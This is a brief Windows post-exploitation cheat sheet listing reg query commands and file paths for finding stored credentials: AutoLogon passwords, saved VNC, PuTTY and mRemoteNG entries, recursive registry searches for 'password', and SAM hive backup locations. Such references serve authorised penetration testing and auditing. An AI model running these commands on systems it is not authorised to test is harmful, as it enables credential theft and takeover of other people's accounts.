Registry Password Hunting

reference 9 commands

AutoLogon credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Look for: AutoAdminLogon=1, DefaultUsername, DefaultPassword

VNC saved password

reg query "HKCU\Software\ORL\WinVNC3\Password"

reg query "HKCU\Software\TightVNC\Server"

reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v password

PuTTY saved sessions

reg query HKCU\Software\SimonTatham\PuTTY\Sessions

mRemoteNG / other RDP tools

reg query "HKCU\Software\mRemoteNG"

Search registry for password keywords

reg query HKLM /f password /t REG_SZ /s 2>nul

reg query HKCU /f password /t REG_SZ /s 2>nul

SAM backup (shadow copies)

reg query HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToBackUp

SAM locations:

C:\Windows\repair\SAM

C:\Windows\System32\config\RegBack\SAM

C:\Windows\System32\config\SAM